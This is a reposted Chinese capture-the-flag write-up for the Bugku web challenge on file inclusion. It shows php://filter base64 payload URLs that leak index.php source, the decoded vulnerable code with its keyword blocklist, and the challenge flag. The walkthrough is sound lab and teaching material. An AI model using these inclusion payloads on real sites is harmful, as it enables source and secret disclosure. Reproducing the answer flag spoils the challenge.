您的位置:首页 > 娱乐 > 明星 > BUGKU-WEB-文件包含

BUGKU-WEB-文件包含

2025/3/7 1:06:03 来源:https://blog.csdn.net/m0_52484587/article/details/140795064  浏览:    关键词:BUGKU-WEB-文件包含

解题思路

  • 你说啥我就干啥:点击一下试试
  • 你会想到PHP伪协议这方面去嘛,你有这方面的知识储备吗?
  • 看到?file=XXX.php,那不就是典型的文件包含吗?
  • 这里需要用的一个伪协议php://filter:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
    可以使用php://filter获取指定文件源码:
  • ?file=php://filter/resource=xxx.php

 

发现啥也没有显示,这是因为:

通常获取源代码时,伪协议将xxx.php当文件执行,使得很多信息往往不能直接显示在浏览器页面上,通常使用base64编码后再显示

?file=php://filter/convert.base64-encode/resource=index.php

convert.base64-encode:是一个过滤器,看到encode可以知道这是一个加密的过滤,那自然就有convert.base64-decode,解密了。简单来说就是:对数据流进行编码,通常用来读取文件源码。

这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

这里对资源文件show.php进行加密了,所以显示:

aW5kZXgucGhw

加上==后进行base64解密就可以复现:(index.php)

现内容就是index.php,说明show.php没有隐藏信息。

所以同理,对index.php使用伪协议执行一下:

http://114.67.175.224:15954/?file=php://filter/convert.base64-encode/resource=index.php

可以看到一串很长的东西,但注意最后的==,必须下意识去解密看看:

77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2M2ZjMwYWZiMDJkYmU2YTU5ODMzODZjNWQzZTA0MTJjfQ0KPz4NCjwvaHRtbD4NCg==

<html><title>Bugku-web</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); 
//flag:flag{c6f30afb02dbe6a5983386c5d3e0412c}
?>
</html>

 

可以看到注释有flag了

PS:

参考其他WP发现都使用了一个read=,这是啥?

可以看到,说是这个参数可以不选,在PHP伪协议中,read是一个用于读取文件内容的操作符。它可以与伪协议中的其他操作符结合使用,用于读取文件的特定部分或指定偏移量的内容。

使用read操作符时,你需要指定一个文件路径和一个长度参数。read操作符将返回指定长度的文件内容。

?file=php://filter/read=convert.base64-encode/resource=index.php

    1

稍微解释下这个做法:

    php://filter/ 是一种访问本地文件的协议
    /read=convert.base64-encode/ 表示读取的方式是 base64 编码后
    resource=index.php 表示目标文件为index.php。

问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。
得到Flag

原文链接:https://blog.csdn.net/qq_36292543/article/details/136155292

 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com